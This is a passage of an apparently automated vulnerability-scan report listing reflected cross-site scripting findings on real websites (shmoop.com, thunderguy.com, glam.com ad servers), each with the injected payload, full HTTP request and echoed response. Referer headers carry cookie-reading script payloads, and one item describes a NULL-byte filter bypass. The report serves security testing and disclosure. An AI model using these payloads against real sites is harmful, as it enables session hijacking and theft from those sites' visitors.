Host:	http://www.shmoop.com
Path:	/news/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc687"><script>alert(1)</script>c5a8aac67aa was submitted in the REST URL parameter 2. This input was echoed as dc687\"><script>alert(1)</script>c5a8aac67aa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news/wp-includesdc687"><script>alert(1)</script>c5a8aac67aa/js/jquery/jquery.js?ver=1.3.2 HTTP/1.1
Host: www.shmoop.com
Proxy-Connection: keep-alive
Referer: http://www.shmoop.com/news/2010/09/21/famous-quotes-translated-lolcat5b944%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E83a75121f32/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:31:06 GMT
Server: Apache/2.2.8 (CentOS)
X-Powered-By: PHP/5.2.10
X-Pingback: http://www.shmoop.com/news/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Mon, 07 Feb 2011 02:31:06 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xm
...[SNIP]...
<link rel="canonical" href="http://www.shmoop.com/news/wp-includesdc687\"><script>alert(1)</script>c5a8aac67aa/js/jquery/jquery.js" />
...[SNIP]...

3.676. http://www.shmoop.com/news/wp-includes/js/jquery/jquery.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.shmoop.com
Path:	/news/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fc89"><script>alert(1)</script>abdf9230c3b was submitted in the REST URL parameter 3. This input was echoed as 1fc89\"><script>alert(1)</script>abdf9230c3b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news/wp-includes/js1fc89"><script>alert(1)</script>abdf9230c3b/jquery/jquery.js?ver=1.3.2 HTTP/1.1
Host: www.shmoop.com
Proxy-Connection: keep-alive
Referer: http://www.shmoop.com/news/2010/09/21/famous-quotes-translated-lolcat5b944%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E83a75121f32/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:31:06 GMT
Server: Apache/2.2.8 (CentOS)
X-Powered-By: PHP/5.2.10
X-Pingback: http://www.shmoop.com/news/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Mon, 07 Feb 2011 02:31:06 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xm
...[SNIP]...
<link rel="canonical" href="http://www.shmoop.com/news/wp-includes/js1fc89\"><script>alert(1)</script>abdf9230c3b/jquery/jquery.js" />
...[SNIP]...

3.677. http://www.shmoop.com/news/wp-includes/js/jquery/jquery.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.shmoop.com
Path:	/news/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42022"><script>alert(1)</script>60df1b24bcd was submitted in the REST URL parameter 4. This input was echoed as 42022\"><script>alert(1)</script>60df1b24bcd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news/wp-includes/js/jquery42022"><script>alert(1)</script>60df1b24bcd/jquery.js?ver=1.3.2 HTTP/1.1
Host: www.shmoop.com
Proxy-Connection: keep-alive
Referer: http://www.shmoop.com/news/2010/09/21/famous-quotes-translated-lolcat5b944%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E83a75121f32/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:31:07 GMT
Server: Apache/2.2.8 (CentOS)
X-Powered-By: PHP/5.2.10
X-Pingback: http://www.shmoop.com/news/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Mon, 07 Feb 2011 02:31:07 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xm
...[SNIP]...
<link rel="canonical" href="http://www.shmoop.com/news/wp-includes/js/jquery42022\"><script>alert(1)</script>60df1b24bcd/jquery.js" />
...[SNIP]...

3.678. http://www.shmoop.com/news/wp-includes/js/jquery/jquery.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.shmoop.com
Path:	/news/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6077"><script>alert(1)</script>fc9492a79d3 was submitted in the REST URL parameter 5. This input was echoed as f6077\"><script>alert(1)</script>fc9492a79d3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news/wp-includes/js/jquery/jquery.jsf6077"><script>alert(1)</script>fc9492a79d3?ver=1.3.2 HTTP/1.1
Host: www.shmoop.com
Proxy-Connection: keep-alive
Referer: http://www.shmoop.com/news/2010/09/21/famous-quotes-translated-lolcat5b944%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E83a75121f32/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:31:08 GMT
Server: Apache/2.2.8 (CentOS)
X-Powered-By: PHP/5.2.10
X-Pingback: http://www.shmoop.com/news/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Mon, 07 Feb 2011 02:31:08 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xm
...[SNIP]...
<link rel="canonical" href="http://www.shmoop.com/news/wp-includes/js/jquery/jquery.jsf6077\"><script>alert(1)</script>fc9492a79d3" />
...[SNIP]...

3.679. http://www.thunderguy.com/semicolon/. [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thunderguy.com
Path:	/semicolon/.

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload %0011d1c<script>alert(1)</script>1bb9ed5cf63 was submitted in the REST URL parameter 1. This input was echoed as 11d1c<script>alert(1)</script>1bb9ed5cf63 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /semicolon%0011d1c<script>alert(1)</script>1bb9ed5cf63/. HTTP/1.1
Host: www.thunderguy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:15:45 GMT
Server: Apache/1.3.42 (Unix) mod_fastcgi/2.4.6 mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html
Content-Length: 1291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<title>Thund
...[SNIP]...
<p style="font-weight:bold;padding-left:5em;">/semicolon\011d1c<script>alert(1)</script>1bb9ed5cf63/.</p>
...[SNIP]...

3.680. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [adSize parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The value of the adSize request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9bc1e'%3balert(1)//2bc77df5b8a was submitted in the adSize parameter. This input was echoed as 9bc1e';alert(1)//2bc77df5b8a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=420105803&adSize=300x2509bc1e'%3balert(1)//2bc77df5b8a HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112351129691745689711

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: glam_bt_set2=1; expires=Mon, 07 Feb 2011 14:24:37 GMT; path=/; domain=.glam.com;
Set-Cookie: bkpix2=1; expires=Mon, 07 Feb 2011 07:57:57 GMT; path=/; domain=.glam.com;
Set-Cookie: bdata=nbt%3d0; expires=Sat, 06 Aug 2011 02:24:37 GMT; path=/; domain=.glam.com;
Set-Cookie: glam_bt=%3bbt%3dnbt%3b; expires=Mon, 07 Feb 2011 14:24:37 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 07 Feb 2011 02:24:37 GMT
Connection: close
Content-Length: 58563

// 
// 

window.glam_session = new Object();
window.glam_session.country
...[SNIP]...
ai.com/site/2312" height="0" width="0" border="0">');

function GlamProcessScriptParams()
{

}

window.glam_affiliate_id = '420105803';
window.glam_zone = '';
window.glam_ad_size = '300x2509bc1e';alert(1)//2bc77df5b8a';
window.glam_status = '';
window.glam_status = (window.glam_status==''?null:window.glam_status);

/*
*/

function GlamShowCustomDefaultAd(zone, adSize) {}
window.glam_affiliate_info = new Array();
...[SNIP]...

3.681. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [zone parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The value of the zone request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6664b'%3balert(1)//a7a08cb1358 was submitted in the zone parameter. This input was echoed as 6664b';alert(1)//a7a08cb1358 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=420105803&adSize=728x90&zone=Marketplace6664b'%3balert(1)//a7a08cb1358 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112351129691745689711

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: glam_bt_set2=1; expires=Mon, 07 Feb 2011 14:24:40 GMT; path=/; domain=.glam.com;
Set-Cookie: bkpix2=1; expires=Mon, 07 Feb 2011 07:58:00 GMT; path=/; domain=.glam.com;
Set-Cookie: bdata=nbt%3d0; expires=Sat, 06 Aug 2011 02:24:40 GMT; path=/; domain=.glam.com;
Set-Cookie: glam_bt=%3bbt%3dnbt%3b; expires=Mon, 07 Feb 2011 14:24:40 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 07 Feb 2011 02:24:40 GMT
Connection: close
Content-Length: 58573

// 
// 

window.glam_session = new Object();
window.glam_session.country
...[SNIP]...
src="http://tags.bluekai.com/site/2312" height="0" width="0" border="0">');

function GlamProcessScriptParams()
{

}

window.glam_affiliate_id = '420105803';
window.glam_zone = 'Marketplace6664b';alert(1)//a7a08cb1358';
window.glam_ad_size = '728x90';
window.glam_status = '';
window.glam_status = (window.glam_status==''?null:window.glam_status);

/*
*/

function GlamShowCustomDefaultAd(zone, adSize) {}
window.gl
...[SNIP]...

3.682. http://www35.glam.com/gad/glamadapt_jsrv.act [;flg parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www35.glam.com
Path:	/gad/glamadapt_jsrv.act

Issue detail

The value of the ;flg request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f674e'%3balert(1)//a37e72a9baf was submitted in the ;flg parameter. This input was echoed as f674e';alert(1)//a37e72a9baf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /gad/glamadapt_jsrv.act?;flg=66;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=1;!c=nptr;ec=taut;ec=te;ec=teb;ec=tgt;ec=tls;ec=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;afid=420105803;dsid=796794;uv=2;;tt=j;u=b00210076z51mac2ab9,f0fu2sa,g10001u;sz=300x250;tile=1;ord=2439329240005463.5;;afid=420105803;dsid=796794;url=ydn23y;seq=1;ux=f-fu2sa,tid-1,pid-0076z51mac2ab9,aid-2,g-66,1,;_glt=360:0:20:25:22:973:2011:2:6;a_tz=-360;_g_cv=2;f674e'%3balert(1)//a37e72a9baf HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112351129691745689711; glam_bt_set2=1; bkpix2=1; bdata=nbt%3d0; glam_bt=%3bbt%3dnbt%3b

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "9b65df991b1145ce29da5f507fe40541:1296501122"
X-Glam-Bdata: nbt,eh,rl,ru
X-Glam-AdId: 5000025383
X-Glam-Euid: 0def5a1519ef703ddd48fa1ea1fd1998
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 07 Feb 2011 02:25:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:25:07 GMT
Connection: close
Content-Length: 9859

...[SNIP]...
fu2sa,g10001u;sz=300x250;tile=1;ord=2439329240005463.5;;afid=420105803;dsid=796794;url=ydn23y;seq=1;ux=f-fu2sa,tid-1,pid-0076z51mac2ab9,aid-2,g-66,1,;_glt=360:0:20:25:22:973:2011:2:6;a_tz=-360;_g_cv=2;f674e';alert(1)//a37e72a9baf;';
var vars = glam_affiliate_vars.split(";");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if ( pair[1] ) { glam_info[pair[0]] = pair[1]; }
}
return ( glam_info[pName
...[SNIP]...

3.683. http://www35.glam.com/gad/glamadapt_jsrv.act [ga_adsrv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www35.glam.com
Path:	/gad/glamadapt_jsrv.act

Issue detail

The value of the ga_adsrv request parameter is copied into a JavaScript inline comment. The payload ea2e0*/alert(1)//751894a291f was submitted in the ga_adsrv parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=420105803;;pt=sk;;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=1;!c=nptr;ec=taut;ec=te;ec=teb;ec=tgt;ec=tls;ec=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;;afid=420105803;dsid=796794;;sz=888x11;tile=999;tt=j;;ord=2439329240005463.5ea2e0*/alert(1)//751894a291f HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112351129691745689711; glam_bt_set2=1; bkpix2=1; bdata=nbt%3d0; glam_bt=%3bbt%3dnbt%3b

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "9b65df991b1145ce29da5f507fe40541:1296501122"
X-Glam-Bdata: nbt,eh,rl,ru
X-Glam-AdId: 5000003866
X-Glam-Euid: a30d9c356bc39440d8e1296623b20a5f
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 07 Feb 2011 02:25:04 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:25:04 GMT
Connection: close
Content-Length: 2700

...[SNIP]...
ec=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;;afid=420105803;dsid=796794;;sz=888x11;tile=999;tt=j;;ord=2439329240005463.5ea2e0*/alert(1)//751894a291f;_g_cv=2) */

/* Generated on : Mon Jan 31 2011 11:10:01 PST */

/* ga_adb=ade;ga_srv=normal
...[SNIP]...

3.684. http://www35.glam.com/gad/glamadapt_jsrv.act [ga_adsrv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www35.glam.com
Path:	/gad/glamadapt_jsrv.act

Issue detail

The value of the ga_adsrv request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 15af5'%3balert(1)//848ad7b608 was submitted in the ga_adsrv parameter. This input was echoed as 15af5';alert(1)//848ad7b608 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=420105803;;pt=sk;;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=1;!c=nptr;ec=taut;ec=te;ec=teb;ec=tgt;ec=tls;ec=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;;afid=420105803;dsid=796794;;sz=888x11;tile=999;tt=j;;ord=2439329240005463.515af5'%3balert(1)//848ad7b608 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112351129691745689711; glam_bt_set2=1; bkpix2=1; bdata=nbt%3d0; glam_bt=%3bbt%3dnbt%3b

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "9b65df991b1145ce29da5f507fe40541:1296501122"
X-Glam-Bdata: nbt,eh,rl,ru
X-Glam-AdId: 5000003866
X-Glam-Euid: d30a342c9017346b7a68e07d7064128e
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 07 Feb 2011 02:25:03 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:25:03 GMT
Connection: close
Content-Length: 2702

...[SNIP]...
ec=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;;afid=420105803;dsid=796794;;sz=888x11;tile=999;tt=j;;ord=2439329240005463.515af5';alert(1)//848ad7b608;_g_cv=2;';
var vars = glam_affiliate_vars.split(";");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if ( pair[1] ) { glam_info[pair[0]] = pair[1]; }
}
return ( glam_in
...[SNIP]...

3.685. http://www35.glam.com/gad/glamadapt_jsrv.act [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www35.glam.com
Path:	/gad/glamadapt_jsrv.act

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8ad60'%3balert(1)//5f8d4e43f07 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8ad60';alert(1)//5f8d4e43f07 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=420105803;;pt=sk;;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=1;!c=nptr;ec=taut;ec=te;ec=teb;ec=tgt;ec=tls;ec=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;;afid=420105803;dsid=796794;;sz=888x11;tile=999;tt=j;;ord=2439329240005463.5&8ad60'%3balert(1)//5f8d4e43f07=1 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112351129691745689711; glam_bt_set2=1; bkpix2=1; bdata=nbt%3d0; glam_bt=%3bbt%3dnbt%3b

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "9b65df991b1145ce29da5f507fe40541:1296501122"
X-Glam-Bdata: nbt,eh,rl,ru
X-Glam-AdId: 5000003866
X-Glam-Euid: fe2c605f665dc14a6ce3607cf55d5ece
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 07 Feb 2011 02:25:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:25:06 GMT
Connection: close
Content-Length: 2713

...[SNIP]...
c=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;;afid=420105803;dsid=796794;;sz=888x11;tile=999;tt=j;;ord=2439329240005463.5;8ad60';alert(1)//5f8d4e43f07=1;_g_cv=2;';
var vars = glam_affiliate_vars.split(";");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if ( pair[1] ) { glam_info[pair[0]] = pair[1]; }
}
return ( glam_
...[SNIP]...

3.686. http://www35.glam.com/gad/glamadapt_jsrv.act [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www35.glam.com
Path:	/gad/glamadapt_jsrv.act

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript inline comment. The payload 77bd7*/alert(1)//8071b400f53 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=420105803;;pt=sk;;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=1;!c=nptr;ec=taut;ec=te;ec=teb;ec=tgt;ec=tls;ec=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;;afid=420105803;dsid=796794;;sz=888x11;tile=999;tt=j;;ord=2439329240005463.5&77bd7*/alert(1)//8071b400f53=1 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112351129691745689711; glam_bt_set2=1; bkpix2=1; bdata=nbt%3d0; glam_bt=%3bbt%3dnbt%3b

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "9b65df991b1145ce29da5f507fe40541:1296501122"
X-Glam-Bdata: nbt,eh,rl,ru
X-Glam-AdId: 5000003866
X-Glam-Euid: e801f1f09dbacfa7d57052ed3a7259b7
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 07 Feb 2011 02:25:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:25:06 GMT
Connection: close
Content-Length: 2710

...[SNIP]...
